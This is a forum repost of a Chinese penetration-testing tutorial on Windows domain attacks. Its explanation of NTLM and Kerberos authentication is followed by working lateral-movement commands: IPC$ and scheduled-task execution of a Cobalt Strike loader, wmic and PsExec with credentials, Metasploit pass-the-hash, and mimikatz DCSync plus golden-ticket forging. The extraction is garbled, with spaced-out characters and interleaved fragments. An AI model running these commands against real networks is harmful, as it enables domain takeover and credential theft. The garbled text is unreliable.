搜索

[19569] 2020-01-07_纯干货分享丨内网渗透很难学吗？

文档创建者：s7ckTeam
浏览次数：23
最后更新：2025-01-18
2020-01-07_纯干货分享丨内网渗透很难学吗？ 纯 干 货 分 享 丨 内 网 渗 透 很 难 学 吗 ？ i 春 秋   2 0 2 0 - 0 1 - 0 7 最 近 我 们 针 对 渗 透 测 试 线 下 就 业 班 的 课 程 进 行 了 深 度 调 研 ， 从 问 卷 结 果 发 现 很 多 学 员 反 馈 关 于 内 网 渗 透 的 课 程 不 容 易 掌 握 。 今 天 ， i   春 秋 针 对 内 网 域 渗 透 知 识 进 行 了 总 结 ， 希 望 对 大 家 学 习 渗 透 测 试 课 程 有 所 帮 助 。 一 、 一 、 N T L M 协 议 协 议 在 工 作 组 中 ， 密 码 h a s h 保 存 在 本 地 的 S A M 文 件 中 ( % S y s t e m R o o t % s y s t e m 3 2 c o n f i g s a m ) ， 在 域 里 保 存 在 n t d s . d i t 文 件 中 ， h a s h 的 格 式 为 ： 用 户 名 称 : S I D : L M - H a s h 值 : N T - H a s h 值 5 0 0 冒 号 后 面 的 是 L M   h a s h ， b d 0 6 4 7 d 9 1 9 7 a 9 d b 0 b 0 4 1 e b 是 n t m l   h a s h 。 0 x 1 . 1   L M   H a s h L M   H a s h 的 全 称 是 L A N   M a n a g e r   H a s h ， 如 果 明 文 是 d b n a m e s ， 先 要 全 部 转 换 成 大 写 ， 然 后 将 大 写 字 符 串 转 换 成 1 6 进 制 ， 如 果 明 文 大 写 转 换 的 二 进 制 不 足 1 4 个 字 节 ， 需 要 用 0 在 后 面 添 加 到 1 4 个 字 节 。 A d m i n i s t r a t o r : 5 0 0 : a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 3 2 0 5 7 7 1 6 c 8 b d 0 6 4 7 d 9 1 9 7 a 9 d b 0 b 0 4 1 e b : : :
由 于 4 4 4 2 4 e 4 1 4 d 4 5 5 3 转 换 二 进 制 为 8 字 节 ， 所 以 这 两 个 8 字 节 数 据 要 用 魔 术 字 符 串 K G S ! @ # $ % D E S 加 密 。 将 K G S ! @ # $ % 为 k e y 对 这 2 个 8 字 节 进 行 d e s 加 密 。 0 x 1 . 2   N T L M   H a s h 从 W i n d o w s   V i s t a 开 始 ， 密 码 默 认 情 况 是 只 有 存 储 N T L M   H a s h ， L M   H a s h 不 会 存 在 ， 在 N T L M   H a s h 中 ， 先 将 字 符 串 进 行 1 6 进 制 转 换 ， 然 后 在 转 换 成 u n i c o d e 字 符 串 ， 最 后 使 用 M D 4 加 密 算 法 对 U n i c o d e 进 行 加 密 ， 所 以 L M   H a s h 跟 N T L M 相 比 ， L M 明 文 大 小 写 不 敏 感 ， 可 以 判 断 明 文 是 否 小 于 8 位 ， 不 使 用 ' K G S ! @ # $ % ' 作 为 k e y 进 行 d e s 加 密 ， 而 N T L M 采 用 单 向 加 密 方 式 ( M D 4 ) 。 0 x 1 . 3   N T L M 认 证 协 议 认 证 协 议 N T L M 协 议 认 证 分 为 三 部 分 ： 协 商 、 质 询 、 身 份 验 证 验 证 。 N T L M 协 议 认 证 过 程 ： 协 议 认 证 过 程 ： 1 、 用 户 输 入 账 号 密 码 ， 客 户 端 中 包 含 明 文 用 用 户 名 向 服 务 端 发 起 请 求 2 、 服 务 端 接 收 到 客 户 端 的 请 求 ， 会 生 成 一 个 c h a l l e n g e   1 6 位 随 机 数 ， 使 用 存 储 的 N T M L   H a s h 加 密 c h a l l e n g e ， 生 成 c h a l l e n g e 1 ， 然 后 将 c h a l l e n g e 的 1 6 位 明 文 随 机 数 发 送 给 客 户 端 3 、 客 户 端 接 收 到 c h a l l e n g e 后 ， 使 用 用 户 登 录 的 密 码 h a s h 加 密 c h a l l e n g e 生 成 r e s p o n s e ( c h a l l e n g e 2 ) ， 将 这 个 r e s p o n s e 发 送 给 客 户 端 4 、 服 务 端 接 收 到 r e s p o n s e ， 对 c h a l l e n g e 1 和 c h a l l e n g e 2 进 行 比 较 ， 相 同 的 话 就 验 证 成 功 0 x 1 . 4   N T L M   v 1 与 与 N T L M   v 2 c h a l l e n g e ： N T M L   v 1 是 8 的 随 机 数 ； N T M L   v 2 是 1 6 位 的 随 机 数 。 4 4 4 2 4 e 4 1 4 d 4 5 5 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0         d b n a m e s 的 1 6 进 制 为 4 4 4 2 4 e 4 1 4 d 4 5 5 3 4 B 4 7 5 3 2 1 4 0 2 3 2 4 2 5           为 ' K G S ! @ # $ % ' 的 1 6 进 制
N e t - N T L M   H a s h ： 1 、 N T M L   v 1 采 用 的 是 D E S 加 密 ， 在 1 6 字 节 后 面 填 充 5 个 0 ， 组 成 2 1 字 节 ， 然 后 分 成 3 组 7 个 字 节 的 ， 并 在 每 7 个 字 节 后 面 填 充 1 个 0 ， 成 为 3 个 8 字 节 的 D E S 密 钥 ， 加 密 上 诉 步 骤 2 ( s e r v e r ) 发 来 的 c h a l l e n g e ， 组 成 2 4 字 节 的 密 文 。 2 、 N T M L   v 2 采 用 的 H M A C - M D 5 加 密 二 、 二 、 K e r b e r o s 协 议 协 议 K e r b e r o s 是 一 种 网 络 认 证 协 议 ， 主 要 在 w i n d o w s 域 中 ， 其 设 计 目 标 是 通 过 密 钥 系 统 为 客 户 机   /   服 务 器 应 用 程 序 提 供 强 大 的 认 证 服 务 。 在 K e r b e o s 协 议 中 主 要 有 三 个 角 色 ： ① C l i e n t ② S e r v e r ③ K D C ， 在 K D C 中 又 有 两 个 部 分 组 成 ： 认 证 过 程 ： 认 证 过 程 ： 1 、 客 户 端 向 K D C ( A S ) 发 起 一 个 认 证 请 求 ( K R B _ A S _ R E Q ) ， 在 请 求 的 过 程 中 ， 是 通 过 用 户 的 密 码 h a s h 加 密 的 时 间 戳 ， 然 后 发 送 给 A S 服 务 器 ， A S 服 务 器 接 收 到 后 ， 采 用 服 务 器 那 边 的 密 码 h a s h 进 行 解 密 这 个 时 间 戳 ， 解 密 成 功 后 ， 并 且 时 间 戳 在 一 定 时 间 范 围 ， 说 明 认 证 成 功 。 A S ： 作 用 是 验 证 C l i e n t 是 不 是 本 人 T G S ： 为 C l i e n t 生 成 访 问 某 个 服 务 的 S T 票 据 ( T G S   T i c k e t )
2 、 A S 对 比 用 户 是 否 在 本 地 数 据 库 中 ， 使 用 客 户 端 的 h a s h 进 行 解 密 ， 正 确 就 返 回 k r b t g t 的 密 码 h a s h 加 密 的 T G T 票 据 ( 到 期 时 间 一 般 为 8 小 时 ) ， 用 户 是 无 法 解 密 这 个 T G T 票 据 的 ， 但 是 有 了 k r b t g t 的 h a s h ， 就 可 以 伪 造 ' 黄 金 票 据 ' 。 还 要 返 回 一 个 由 客 户 端 用 户 n t m l   h a s h 加 密 的 S e s s i o n   K e y ( s e s s i o n k e y 1 ) ， S e s s i o n   K e y 是 K D C 接 收 请 求 后 的 随 机 生 成 的 字 符 ( K R B _ A S _ R E P ) 。 3 、 客 户 端 用 自 己 的 密 码 h a s h 解 密 S e s s i o n   K e y ， T G T 是 K D C 加 密 的 ， C l i e n t 无 法 解 密 ， C l i e n t 拿 着 解 密 出 来 的 S e s s i o n K e y 去 加 密 时 间 戳 和 T G T 发 送 给 T G S 换 取 访 问 S e r v e r 的 票 据 ( K R B _ T G S _ R E Q ) 。 4 、 T G S 收 到 C l i e n t 的 请 求 后 ， 会 验 证 是 否 存 在 客 户 端 要 访 问 的 这 个 服 务 ， 存 在 的 话 K D C 使 用 k r b t g t 的 密 码 h a s h 对 T G T 进 行 解 密 ， 然 后 会 查 看 T G T 中 的 时 间 戳 ， 看 是 否 T G T 失 效 ， 如 果 解 密 成 功 的 T G T 没 有 失 效 ， 向 客 户 端 发 送 通 过 s e s s i o n k e y 1 加 密 的 S e s s i o n _ k e y 和 t i c k e t 票 据 ， 在 T G S R E P 中 ， 用 的 是 服 务 的 h a s h 加 密 t i c k e t 的 ， 所 有 我 们 拥 有 这 个 服 务 的 h a s h 就 可 以 制 作 一 个 t i c k e t ( 即 白 银 票 据 ) ( K R B _ T G S _ R E P ) 。 5 、 客 户 端 拿 着 自 己 s e s s i o n k e y 1 解 密 的 S e s s i o n _ K e y ( s e s s i o n k e y 2 ) ， 然 后 把 s e s s i o n k e y 2 加 密 的 时 间 戳 和 t i c k e t 发 送 个 S e r v e r 去 访 问 服 务 ， 认 证 通 过 就 可 以 访 问 ( K R B _ A P _ R E Q ) 。 6 、 服 务 使 用 自 己 的 h a s h 去 解 密 t i c k e t 票 据 ， 得 到 s e s s i o n k e y 2 ， 在 用 s e s s i o n k e y 2 去 解 密 时 间 戳 ， 解 密 成 功 ， 就 用 P A C 去 K D C 问 客 户 端 是 否 有 访 问 的 权 限 ， 域 控 解 密 P A C ， 用 于 让 客 户 端 识 别 是 否 访 问 正 确 的 服 务 端 ( K R B _ A P _ R E P ) 。 三 、 内 网 横 向 移 动 的 常 用 方 法 三 、 内 网 横 向 移 动 的 常 用 方 法 0 x 1 . 1   i p c 连 接 连 接 复 制 文 件 到 主 机 上 获 取 服 务 器 的 时 间 创 建 计 划 任 务 ， 2 0 : 0 5 执 行 1 . b a t 文 件 ， c o b a l t s t r i k e 上 线 成 功 。 n e t   u s e   1 9 2 . 1 6 8 . 1 . 2 3 2 C c o p y   1 . b a t   1 9 2 . 1 6 8 . 1 . 2 3 2 c n e t   t i m e   1 9 2 . 1 6 8 . 1 . 2 3 2
下 面 是 i p c 连 接 当 中 常 见 的 错 误 号 ： 0 x 1 . 2   s c h t a s k s 创 建 计 划 任 务 创 建 计 划 任 务 设 置 每 天 晚 上 8 : 4 0 执 行 1 . b a t 文 件 0 x 1 . 3   W M I a t   1 9 2 . 1 6 8 . 1 . 2 3 2   2 0 : 0 5   c : t o o l s 1 . b a t 错 误 号 5 ： 拒 绝 访 问 - - - > 使 用 的 权 限 太 低 ， 需 要 提 权 错 误 号 5 1 ： W i n d o w s 无 法 找 到 网 络 路 径 ， 网 络 有 问 题 错 误 号 5 3 ： 找 不 到 网 络 路 径 ， i p 地 址 错 误 、 目 标 未 开 机 、 目 标 l a n m a n s e r v e r 服 务 未 开 启 、 目 标 有 防 火 墙 ( 端 口 过 滤 ) 错 误 号 6 7 ： 找 不 到 网 络 名 - > 你 的 l a n m a n w o r k s t a t i o n 服 务 未 启 动 或 者 目 标 删 除 了 i p c $ 错 误 号 1 2 1 9 ： 提 供 的 凭 据 与 已 存 在 的 凭 据 集 冲 突 - > 你 已 经 和 对 方 建 立 了 一 个 i p c ， 请 删 除 在 连 接 错 误 号 1 3 2 6 ： 未 知 的 用 户 名 或 错 误 密 码 错 误 号 1 7 9 2 ： 试 图 登 录 ， 但 是 网 络 登 录 服 务 没 启 动 - > 目 标 B e t L o g o n 服 务 未 启 动 错 误 号 2 2 4 2 ： 此 用 户 的 密 码 已 经 过 期 - > 目 标 有 账 号 策 略 ， 强 制 定 期 要 求 更 改 密 码 s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 . 2 3 2   / u   f a n x i n g . c o m f a n x i n g   / p   a d m i n @ 1 6 3 . c o m   / r u   " S Y S T E M "   / t n   f a n x i n g   / s c   D A I L Y   / s t  
w m i 服 务 需 要 开 启 1 3 5 端 口 ， 这 个 是 默 认 开 启 的 。 使 用 w m i c 没 有 任 何 回 显 ， 可 以 w m i c e x e c . v b s 解 决 无 回 显 的 问 题 ， 或 者 获 取 一 个 半 交 互 式 s h e l l 。 0 x 1 . 4   p s t o o l s p s t o o l s 中 有 1 3 个 小 工 具 ， 这 里 主 要 利 用 p * * e c 进 行 远 程 执 行 命 令 ， 唯 一 的 缺 点 就 是 会 开 启 一 个 服 务 ， 容 易 被 管 理 员 发 现 。 在 i p c 建 立 连 接 的 时 候 ， 可 以 直 接 使 用 p * * e c ： w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 . 2 3 2   / u s e r : f a n x i n g . c o m f a n x i n g   / p a s s w o r d : a d m i n @ 1 6 3 . c o m   p r o c e s s   c a l l   c r e a t e   c s c r i p t   w m i e x e c . v b s   / c m d   1 9 2 . 1 6 8 . 1 . 2 3 2   f a n x i n g . c o m f a n x i n g   a d m i n @ 1 6 3 . c o m   w h o a m i p * * e c . e x e   1 9 2 . 1 6 8 . 1 . 2 3 2   - h   c m d   / c   " w h o a m i "
当 i p c 没 有 连 接 时 ： 使 用 m e t a s p l o i t 执 行 ： P * * e c . e x e   1 9 2 . 1 6 8 . 1 . 2 3 2   - u   f a n x i n g . c o m f a n x i n g   - p   a d m i n @ 1 6 3 . c o m   - h   c m d   / c   " w h o a m i " u s e   a u x i l i a r y / a d m i n / s m b / p * * e c _ c o m m a n d s e t   r h o s t s   1 9 2 . 1 6 8 . 1 . 2 3 2 s e t   s m b u s e r   f a n x i n g s e t   s m b p a s s   a d m i n @ 1 6 3 . c o m s e t   s m b d o m a i n   f a n x i n g . c o m s e t   c o m m a n d   w h o a m i
0 x 1 . 5   h a s h 传 递 传 递 ( P T H ) h a s h 传 递 是 通 过 密 码 的 h a s h 访 问 主 机 或 者 服 务 ， 不 需 要 明 文 登 录 。 h a s h 的 原 理 ， 出 现 在 上 面 讲 的 N T M L 认 证 过 程 的 c h a l l e n g e 。 利 用 m e t a s p l o i t ： 四 、 黄 金 票 据 四 、 黄 金 票 据 黄 金 票 据 是 A S 颁 发 给 C l i e n t 的 T G T 票 据 ( T G T 的 有 效 时 间 为 2 0 分 钟 ) ， 是 通 过 域 k e r b e r o s 账 户 ( K R B T G T ) 加 密 的 。 实 现 原 理 就 是 跳 过 了 A S 的 认 证 过 程 ， 直 接 向 K D C 的 T G S 服 务 证 明 通 过 了 A S 服 务 。 一 般 黄 金 票 据 都 是 域 控 的 权 限 掉 了 的 时 候 ， 修 改 了 域 控 的 密 码 ， 而 k r b t g t 的 密 码 没 有 被 修 改 ， 就 可 以 重 新 获 取 到 域 控 权 限 。 满 足 黄 金 票 据 的 条 件 有 ： ① 域 的 名 称 ② 域 的 S I D 值 u s e   e x p l o i t / w i n d o w s / s m b / p * * e c s e t   r h o s t s   1 9 2 . 1 6 8 . 5 0 . 2 3 3 s e t   S M B P a s s   3 2 0 5 7 7 1 6 c 8 b d 0 6 4 7 d 9 1 9 7 a 9 d b 0 b 0 4 1 e b s e t   S M B U s e r   a d m i n i s t r a t o r s e t   S M B D o m a i n   f a n x i n g . c o m
③ 域 中 K R B T G T 的 密 码 h a s h ④ 伪 造 的 用 户 名 在 金 票 的 利 用 过 程 中 ， 可 以 使 用 m i m i k a t z ， c o b a l t s t r i k e ， m e t a s p l o i t 来 伪 造 。 0 x 1 . 1   M i m i k a t z 导 出 k r b t g t 的 N T M L   H a s h 获 取 域 的 S I D 值 ， 不 要 后 面 的 - 5 0 0 。 伪 造 金 票 p r i v i l e g e : : d e b u g             # 提 权 [ / s i z e ] [ s i z e = 1 8 p x ] l s a d u m p : : d c s y n c   / d o m a i n : f a n x i n g . c o m   / u s e r : k r b t g t w h o a m i   / a l l
导 入 G o l d e n   T i c k e t ： 可 以 使 用 d i r 访 问 域 控 目 录 ， 要 输 入 主 机 名 ， 使 用 i p 还 是 访 问 不 到 。 k e r b e r o s : : g o l d e n   / d o m a i n : f a n x i n g . c o m   / s i d : S - 1 - 5 - 2 1 - 3 4 0 8 1 8 6 6 0 7 - 3 7 9 3 2 9 5 4 5 9 - 3 5 8 1 1 4 6 5 7 4   / a e s 2 5 6 : 3 d f 0 3 6 f 9 0 a a f 3 a 6 3 a 5 c c e 9 6 f c 7 5 3 f 0 8 b e b k e r b e r o s : : p t t   c : u s e r s t e s t g o l d . k i r b i d i r   W I N - M 3 4 U C F J I P N Q c
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理